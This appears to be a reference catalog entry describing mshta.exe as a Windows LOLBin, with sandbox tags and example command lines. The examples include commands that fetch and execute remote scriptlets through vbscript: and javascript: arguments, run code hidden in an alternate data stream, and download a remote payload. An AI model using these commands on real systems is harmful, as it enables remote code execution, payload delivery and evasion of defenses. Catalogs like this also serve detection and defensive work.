Used by Windows to execute html applications. (.hta) Located at: C:\Windows\System32\mshta.exe; C:\Windows\SysWOW64\mshta.exe.
mshta mshta Sandbox: execFile · Timeout: 30s
security.execution.command system.file.alternate-data-stream network.transfer.download Outputs
process.output Command execution output
filesystem_writeprocess_spawnnetwork_traffic Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. (Execute code)
mshta.exe {PATH:.hta} Executes VBScript supplied as a command line argument. (Execute code)
mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")")) Executes JavaScript supplied as a command line argument. (Execute code)
mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close(); Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. (Execute code hidden in alternate data stream)
mshta.exe "{PATH_ABSOLUTE}:file.hta" It will download a remote payload and place it in INetCache. (Downloads payload from remote server)
mshta.exe {REMOTEURL} mshta is a Windows LOLBin. Used by Windows to execute html applications. (.hta) Located at: C:\Windows\System32\mshta.exe; C:\Windows\SysWOW64\mshta.exe.